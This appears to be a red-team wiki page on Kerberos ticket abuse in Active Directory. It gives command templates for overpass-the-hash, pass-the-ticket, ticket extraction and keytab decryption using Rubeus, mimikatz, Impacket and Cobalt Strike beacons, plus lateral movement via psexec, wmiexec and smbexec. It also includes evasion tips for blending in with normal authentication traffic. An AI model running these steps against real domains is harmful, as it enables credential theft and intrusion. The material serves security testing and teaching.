Exploitation - Kerberos tickets usage
Overview
Kerberos
is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, Kerberos
implements two type of tickets, issued by two distinct services of the Key Distribution Center (KDC)
:
Ticket-Granting Ticket (TGT)
, obtained from theAuthentication Service (AS)
.service tickets
, obtained from theTicket-Granting Service (TGS)
.
A valid TGT
is necessary in order to request service tickets
, which in turn grant access to service accounts (user or machine domain accounts that have a ServicePrincipalName (SPN)
).
Overpass-the-hash
/ Pass the Key (PTK)
are the actions of using, respectively, the NTLM
hash or the Kerberos
secrets (RC4
key, corresponding to the NTLM hash
, or the AES 128/256 bits
keys) of an user to request a Kerberos
TGT
.
Pass-the-ticket (PtT)
is the action of directly using Kerberos
tickets (TGTs
or service tickets
) with out a request to the KDC
. On Windows systems, the tickets can be directly injected in the current logon session while on Linux systems Kerberos
tickets file can be provided to utilities supporting the Kerberos
authentication.
Overpass-the-hash / Pass the Key (PTK)
Plaintext password to RC4 / AES keys
Knowledge of an account Kerberos
keys allows to control which ticket encryption type will be used by the KDC
when overpassing-the-hash / passing the key. As AES
is generally used by the KDC
for legitimate Kerberos
authentication (since Windows Server 2008
), using the AES
keys may help blending in normal authentication traffic.
The tickets encryption type are logged in the Ticket Encryption Type
field of the Windows Security
events 4768: A Kerberos authentication ticket (TGT) was requested
and 4769: A Kerberos service ticket was requested
.
Note that the Kerberos RC4
key corresponds to the NTLM
hash of an account.
The Ticket Encryption Type
field may take the following values:
0x1
DES-CBC-CRC
Disable by default since Windows Server 2008 R2
/ Windows 7
.
0x3
DES-CBC-MD5
Disable by default since Windows Server 2008 R2
/ Windows 7
.
0x11
AES128-CTS-HMAC-SHA1-96
Introduced in Windows Server 2008
/ Windows Vista
.
0x12
AES256-CTS-HMAC-SHA1-96
Introduced in Windows Server 2008
/ Windows Vista
.
0x17
RC4-HMAC
Default encryption type before Windows Server 2008
/ Windows Vista
.
0x18
RC4-HMAC-EXP
Default encryption type before Windows Server 2008
/ Windows Vista
.
The DSInternals
PowerShell ConvertTo-NTHash
and ConvertTo-KerberosKey
cmdlets can be used to convert a plaintext password to, respectively, RC4
and AES128
/ AES256
keys.
$CleartextPassword = ConvertTo-SecureString -String '<PASSWORD>' -AsPlainText -Force
# Returns the NTLM hash / RC4 key from a given password.
ConvertTo-NTHash -Password $CleartextPassword
# Returns the Kerberos keys (AES256, AES128, DES) and from a given password.
# The Kerberos keys are derived from a salt based on the Kerberos realm and account name.
# For user account: <SALT> = uppercase Kerberos realm + case sensitive SamAccountName. Example: LAB.ADAdministrator.
# For machine account: <SALT> = Kerberos realm + host keyword + lowercase SamAccountName with out $ + lowercase Kerberos realm. Example: LAB.ADhostdc1.lab.ad
ConvertTo-KerberosKey -Password $CleartextPassword -Salt '<SALT>'
Additionally, Rubeus
's asktgt
module supports TGT
requests using a password, and the encryption type can then be specified using the /enctype
option.
TGT Kerberos tickets requests
Knowing any user's Kerberos secret.
The Rubeus
's asktgt
module or the Impacket
's getTGT.py
Python script can be used to request TGTs
using an user's password, NTLM
hash (equivalent to the Kerberos
RC4
key), or Kerberos
secrets.
If RC4_HMAC-MD5
is disabled at a domain level, requesting Kerberos
TGT
will require either the account password or its AES128
or AES256
key. Trying to request a TGT
using RC4
key in such environment will result in a KDC_ERR_ETYPE_NOTSUPP
error.
# ptt: Directly injects the received TGT in the current logon session. The current logon session TGT will be overwritten.
# In any case, the received TGT, encoded in base64, will be printed (KRB-CRED format).
Rubeus.exe asktgt /user:<USERNAME> /password:<PASSWORD> [/enctype:<rc4 | aes128 | aes256>] /ptt
Rubeus.exe asktgt /user:<USERNAME> [/rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt
Rubeus.exe asktgt /dc:<DC_IP | DC_HOSTNAME> /domain:<DOMAIN> /user:<USERNAME> [/password:<PASSWORD> | /rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt
# The received TGT will be exported to a file in the credential cache format.
python getTGT.py [-dc-ip <DC_IP>] <DOMAIN>/<USERNAME>:[<PASSWORD>]
python getTGT.py [-dc-ip <DC_IP>] -hashes ":<NTLM>" <DOMAIN>/<USERNAME>
# Recommended if possible in a covert scenario, as the AES keys are used by default by Microsoft.
python getTGT.py [-dc-ip <DC_IP>] -aesKey <AES_128BITS_KEY | AES_256BITS_KEY> <DOMAIN>/<USERNAME>
Using the current user's security context.
A TGT
can be retrieved for the current user using its security context with out the need of knowing the user's credentials.
This is possible due to the way Kerberos
unconstrained delegations
are implemented: the user must provide a TGT
to the principal trusted for the unconstrained delegation
(such as the Domain Controller machine accounts). As the current user's TGT
cannot be forwarded directly (as it may be linked to the current user IP address), a request for a forwardable
(forwarded
attribute set) TGT
is requested by the client. This result in the retrieval client-side of an AP-REQ
message containing a KRB_CRED
struct with the TGT
(encrypted with the key sent by the KDC
for the session).
The Rubeus
's tgtdeleg
or Kekeo
's tgt::deleg
modules can be used to conduct this technique and retrieve a TGT
for the current user:
# If an SPN trusted for unconstrained delegation cannot be automatically found by Rubeus, it can be specified using the /target:<SPN> option.
Rubeus.exe tgtdeleg
kekeo # tgt::deleg
Automated ticket extraction from Rubeus output.
If needed, the retrieved Kerberos
tickets can be automatically extracted from Rubeus
output (for example from the tgtdeleg
module) using the PowerShell script below:
$tgtdeleg_res = Invoke-Rubeus -Command "tgtdeleg"
$tmp = $tgtdeleg_res -replace "`t|`n|`r",""
$tmp -match "ticket.kirbi\):(?<content>.*)"
$TGT = $matches['content'] -replace '\s',''
Pass-the-ticket (PtT)
[Windows / Linux] Direct requests of service tickets
On Windows, the Rubeus
's asktgs
module can be used to request service tickets
using a valid TGT
:
# ptt: Directly injects the received service ticket in the current logon session.
Rubeus.exe asktgs /ticket:<TGT_BASE64 | TGT_KIRBI_FILE_PATH> /service:<TARGET_SERVICE_SPN | TARGET_SERVICES_SPN> /ptt
[Windows] Injection into the current session
Kerberos
tickets, in the credential format KRB_CRED
(KIRBI
file), can be injected into the current logon session using mimikatz
or Rubeus
.
Both utilities leverage the Windows LsaCallAuthenticationPackage/KerbSubmitTicketMessage
API and will overwrite the current logon session tickets.
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>
# Injects into memory a ticket in the KRB_CRED format.
Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>
mimikatz.exe "kerberos::ptt <TICKET_KIRBI_FILE_PATH>" exit
Cobalt Strike
's make_token
and kerberos_ticket_use
beacon
commands may be used to inject tickets with out overwriting the ones cached in the current logon session:
# Requires elevated privileges.
beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>
# Does not requires a elevated privileges. Create a new beacon in a sacrificial process to protect the current beacon logon session tickets.
# The use of the make_token command is still necessary as both beacon share the same logon session.
original_beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
original_beacon> run <C:\Windows\System32\cmd.exe | BINARY_PATH>
original_beacon> ps
original_beacon> inject <NEW_PROCESS_PID> <x86 | x64> <LISTENER>
new_beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>
# Reverts the logon session created using the make_token command, so the original logon session's tickets are restored.
beacon | original_beacon> rev2self
The Kerberos
tickets cached in the current logon session can be listed using the Windows built-in klist
utility, Rubeus
's klist
module, or mimikatz
's kerberos::list
command:
klist
Rubeus.exe klist
mimikatz.exe "kerberos::list" exit
mimikatz.exe "kerberos::list /export" exit
[Linux] Credential cache (ccache)
Kerberos
tickets can be converted from the KRB_CRED
format to the credential cache (ccache)
format to be used with, among others, the Impacket
's Python utilities. If a TGT
is provided, the Impacket
's utilities will try to obtain the necessary service tickets through request to the KDC
.
Note that impackets
utilities can only make use of a single Kerberos tickets
at a time, which limits the possible usage of the utilities with service tickets
.
Refer to the [Windows] Lateral movements
for more information on how to leverage the Impacket
suite for lateral movements in a Windows environment.
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>
# If necessary, converts the TGT from KRB_CRED to ccache.
ticketConverter.py <TICKET_KIRBI_FILE_PATH> <TICKET_CCACHE_FILE_PATH>
# Loads the ticket from the specified file.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
# Loads all the tickets in the specified directory. The tickets filename must follow the filename tkt*.
# Unfortunately loading Kerberos tickets from a directory is not a wildy supported feature.
export KRB5CCNAME=DIR:<TICKETS_CCACHE_DIR_PATH>
# Usage of the TGT through Impacket's utilities.
psexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
smbexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
wmiexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
[...]
The klist
utility form the krb5-user
(Debian
based distro) or krb5
package may be used to list the current tickets:
klist -A
[Linux / Windows] Keytab
Keytab
are files that contain one or multiple key entries
. Each entry is composed of a principal (Kerberos
realm and account name) and an associated Kerberos
secret (RC4
or AES 128 / 256 bits
keys), stored encrypted. Keytab
files can be used to request Kerberos
tickets without the need of reentering a password, and are thus particularly useful for service accounts interacting with a directory service from non-Windows systems. Keytab
files can be retrieved, for example, from Linux systems with service accounts using the Kerberos protocol.
The keytabextract.py
Python script can be used to extract and decrypt the Kerberos
secrets, RC4
(corresponding to the NTLM
hash) or AES
keys, from a given keytab
file:
python3 keytabextract.py <KEY_TAB>
Additionally, the kinit
, ktutil
and klist
utilities form the krb5-user
(Debian
based distro) or krb5
package may be used to interact with keytab
files. Note that a keytab
file is fully independent of the computer it's been created on, its filename, and its location in the file system.
# Lists the key entries' principal contained in the specified keytab file.
klist -k <KEY_TAB>
# Requests a Kerberos ticket using the specified keytab file.
# The retrieved ticket will be placed in cache and stored on the local file system in the ccache format (path can be retrieved using klist).
# The KDC (of the realm from the keytab) must be reachable from the system on which the command is executed.
# The <PRINCIPAL> format example: '<ACCOUNT_NAME>@<FULLY_QUALIFIED_DOMAIN>'.
kinit -k -t <KEY_TAB> '<PRINCIPAL>'
References
https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Article-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien_Bordes_-Secrets_d_authentification_episode_II_Kerberos_contre-attaque--_planches.pdf https://remivernier.com/index.php/2018/07/07/kerberos-exploration/ https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html https://gist.github.com/HarmJ0y/dc379107cfb4aa7ef5c3ecbac0133a02 https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a https://github.com/GhostPack/Rubeus https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-KerberosKey.md https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-NTHash.md
Last updated